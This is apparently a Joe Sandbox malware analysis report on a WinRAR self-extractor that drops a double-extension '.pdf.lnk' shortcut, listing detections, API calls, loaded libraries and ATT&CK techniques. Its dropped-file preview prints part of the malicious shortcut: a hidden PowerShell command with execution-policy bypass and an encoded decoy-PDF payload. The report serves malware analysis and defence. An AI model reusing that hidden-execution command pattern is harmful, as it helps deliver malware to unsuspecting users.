Edit tour

Windows Analysis Report
MpkkG8XzhJ.exe

Overview

General Information

Sample name:	MpkkG8XzhJ.exe renamed because original name is a hash value
Original sample name:	659abb39eec218de66e2c1d917b22149ead7b743d3fe968ef840ef22318060fd.exe
Analysis ID:	1522696
MD5:	51570f6e590151159f4761e2fb4ecd60
SHA1:	0cbfb5efe558a632fa1de3861c3b87389c987035
SHA256:	659abb39eec218de66e2c1d917b22149ead7b743d3fe968ef840ef22318060fd
Tags:	exeUAC-0099user-JAMESWT_MHT
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

File is packed with WinRar

Found evasive API chain (date check)

Found potential string decryption / allocating functions

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Sigma detected: Suspicious LNK Double Extension File Created

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

MpkkG8XzhJ.exe (PID: 4928 cmdline: "C:\Users\user\Desktop\MpkkG8XzhJ.exe" MD5: 51570F6E590151159F4761E2FB4ECD60)

cleanup

Sigma Signatures

Sigma detected: Suspicious LNK Double Extension File Created

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems), frack113: Data: EventID: 11, Image: C:\Users\user\Desktop\MpkkG8XzhJ.exe, ProcessId: 4928, TargetFilename: C:\Users\user\Desktop\????????? ???? ?? ????????? ??? ? 01.01.24.pdf.lnk

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: MpkkG8XzhJ.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: MpkkG8XzhJ.exe

ReversingLabs: Detection: 71%

Source: MpkkG8XzhJ.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: MpkkG8XzhJ.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:

Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: MpkkG8XzhJ.exe

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000BBA94 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_000BBA94
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000CD410 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_000CD410
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000DC4F8 FindFirstFileExA,	0_2_000DC4F8

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe

Code function: 0_2_000CB080 SetWindowLongW,NtdllDefWindowProc_W,

0_2_000CB080

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe

Code function: 0_2_000B7AAF: __EH_prolog,_wcslen,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

0_2_000B7AAF

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000B92C6	0_2_000B92C6
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000C7DCC	0_2_000C7DCC
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000C5001	0_2_000C5001
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000C8243	0_2_000C8243
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000C5272	0_2_000C5272
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000D6298	0_2_000D6298
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000C02F7	0_2_000C02F7
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000C13F6	0_2_000C13F6
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000C741E	0_2_000C741E
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000D64C7	0_2_000D64C7
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000C55A0	0_2_000C55A0
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000DE5F0	0_2_000DE5F0
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000C07A0	0_2_000C07A0
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000BD833	0_2_000BD833
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000C889F	0_2_000C889F
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000B395A	0_2_000B395A
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000B4A8E	0_2_000B4A8E
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000DEA9E	0_2_000DEA9E
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000E2BA4	0_2_000E2BA4
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000BFCCC	0_2_000BFCCC
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000B2EB6	0_2_000B2EB6

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: String function: 000CFEEC appears 42 times
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: String function: 000D0790 appears 31 times
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: String function: 000CFFC0 appears 56 times

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: MpkkG8XzhJ.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal56.winEXE@1/1@0/0

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe

Code function: 0_2_000B7727 GetLastError,FormatMessageW,

0_2_000B7727

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe

Code function: 0_2_000CB0BE CLSIDFromString,CoCreateInstance,

0_2_000CB0BE

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe

Code function: 0_2_000CB6C2 FindResourceW,SizeofResource,LoadResource,LockResource,GlobalAlloc,GlobalLock,CreateStreamOnHGlobal,GdipCreateHBITMAPFromBitmap,GlobalUnlock,GlobalFree,

0_2_000CB6C2

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe

File created: C:\Users\user\Desktop\__tmp_rar_sfx_access_check_7153640

Jump to behavior

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Command line argument: sfxname	0_2_000CF04C
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Command line argument: sfxstime	0_2_000CF04C
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Command line argument: STARTDLG	0_2_000CF04C

Source: MpkkG8XzhJ.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe

File read: C:\Windows\win.ini

Jump to behavior

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: MpkkG8XzhJ.exe

ReversingLabs: Detection: 71%

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe

File read: C:\Users\user\Desktop\MpkkG8XzhJ.exe

Jump to behavior

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: uiautomationcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Section loaded: winnsi.dll	Jump to behavior

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: MpkkG8XzhJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: MpkkG8XzhJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: MpkkG8XzhJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: MpkkG8XzhJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: MpkkG8XzhJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: MpkkG8XzhJ.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: MpkkG8XzhJ.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: MpkkG8XzhJ.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:

Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: MpkkG8XzhJ.exe

Source: MpkkG8XzhJ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: MpkkG8XzhJ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: MpkkG8XzhJ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: MpkkG8XzhJ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: MpkkG8XzhJ.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe

File created: C:\Users\user\Desktop\__tmp_rar_sfx_access_check_7153640

Jump to behavior

Source: MpkkG8XzhJ.exe

Static PE information: section name: .didat

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000D07E0 push ecx; ret		0_2_000D07F3
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000CFEEC push eax; ret		0_2_000CFF0A

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe

Memory allocated: 7210000 memory reserve | memory write watch

Jump to behavior

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe

Evasive API call chain: GetLocalTime,DecisionNodes

graph_0-24219

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000BBA94 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_000BBA94
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000CD410 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_000CD410
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000DC4F8 FindFirstFileExA,	0_2_000DC4F8

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe

Code function: 0_2_000CF81F VirtualQuery,GetSystemInfo,

0_2_000CF81F

Source: MpkkG8XzhJ.exe, 00000000.00000002.2174563720.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll+

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe

API call chain: ExitProcess graph end node

graph_0-24450

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe

Code function: 0_2_000D09FA IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_000D09FA

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe

Code function: 0_2_000D91A0 mov eax, dword ptr fs:[00000030h]

0_2_000D91A0

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe

Code function: 0_2_000DD1E0 GetProcessHeap,

0_2_000DD1E0

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000D09FA IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_000D09FA
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000D0B8D SetUnhandledExceptionFilter,	0_2_000D0B8D
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000D0D7A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_000D0D7A
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Code function: 0_2_000D4FDF IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_000D4FDF

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe

Code function: 0_2_000D0816 cpuid

0_2_000D0816

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

0_2_000CC083

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe

Code function: 0_2_000CF04C GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,

0_2_000CF04C

Source: C:\Users\user\Desktop\MpkkG8XzhJ.exe

Code function: 0_2_000BC365 GetVersionExW,

0_2_000BC365

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Virtualization/Sandbox Evasion	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	2 File and Directory Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	34 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
MpkkG8XzhJ.exe	71%	ReversingLabs	Win32.Trojan.Malgent
MpkkG8XzhJ.exe	100%	Avira	EXP/LNK.Agent.ofgtz

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1522696
Start date and time:	2024-09-30 15:40:29 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 10s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	MpkkG8XzhJ.exe renamed because original name is a hash value
Original Sample Name:	659abb39eec218de66e2c1d917b22149ead7b743d3fe968ef840ef22318060fd.exe
Detection:	MAL
Classification:	mal56.winEXE@1/1@0/0
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 120 Number of non-executed functions: 95
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: MpkkG8XzhJ.exe

Process:	C:\Users\user\Desktop\MpkkG8XzhJ.exe
File Type:	MS Windows shortcut, Item id list present, Has Description string, Has command line arguments, Icon number=0, ctime=Thu Nov 30 07:52:33 2023, mtime=Thu Nov 30 07:52:33 2023, atime=Thu Nov 30 07:52:33 2023, length=0, window=hide
Category:	dropped
Size (bytes):	25631
Entropy (8bit):	5.972732311180514
Encrypted:	false
SSDEEP:	768:dPeFfZZEwj8l3fLSjDcljohJ8AtHMDjr4LunAX:dPUX8l2aFA1MDjrPU
MD5:	64752D058E5829210A0F407FB912C9D3
SHA1:	4E8A0CFB784A6F93F8974B4F11679786CEF86BB7
SHA-256:	0AA794E54C19DBCD5425405E3678AB9BC98FB7EA787684AFB962EE22A1C0AB51
SHA-512:	A383CFCAF25DABABB76273EC0802867E1E74D2BCF4640EEE855714B4C7C74E61145C6510668327DEE053D904ED9D5CB4C5BFC3A8149F992FFDCB2CC7A96F1904
Malicious:	false
Reputation:	low
Preview:	L..................Fe..........j#.....j#.....j#...............................P.O. .:i.....+00.../C:\.....................2..:..HG.-..windows\system32\WindowsPowershell\v1.0\powershell.exe.........HG.-.KMI....w.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.\.W.i.n.d.o.w.s.P.o.w.e.r.s.h.e.l.l.\.v.1...0.\.p.o.w.e.r.s.h.e.l.l...e.x.e...F......b-w hidden -nop -noni -exec bypass -c $temp='JVBERi0xLjQKJeLjz9MNCjEgMCBvYmoKPDwgCi9DcmVhdG9yIChDYW5vbiBpUi1BRFYgNjU1NSAgUERGKQovQ3JlYXRpb25EYXRlIChEOjIwMjMwMjEzMDg1OTU3KzAxJzAwJykKL1Byb2R1Y2VyIChcMzc2XDM3N1wwMDBBXDAwMGRcMDAwb1wwMDBiXDAwMGVcMDAwIFwwMDBQXDAwMFNcMDAwTFwwMDAgXDAwMDFcMDAwLlwwMDBcCjNcMDAwZVwwMDAgXDAwMGZcMDAwb1wwMDByXDAwMCBcMDAwQ1wwMDBhXDAwMG5cMDAwb1wwMDBuXDAwMFwwMDApCj4+IAplbmRvYmoKMiAwIG9iago8PCAKL1BhZ2VzIDMgMCBSIAovVHlwZSAvQ2F0YWxvZyAKL091dHB1dEludGVudHMgMTIgMCBSIAovTWV0YWRhdGEgMTMgMCBSIAo+PiAKZW5kb2JqCjQgMCBvYmoKPDwgL1R5cGUgL1hPYmplY3QgL1N1YnR5cGUgL0ltYWdlIC9XaWR0aCAxMjQwIC9IZWlnaHQgMTc1MyAvQml0c1BlckNvbXBvbmVudCA4IAovQ29sb3JTcGFjZSAvRGV2aWNlR3Jhe

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.814308062083348
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	MpkkG8XzhJ.exe
File size:	344'623 bytes
MD5:	51570f6e590151159f4761e2fb4ecd60
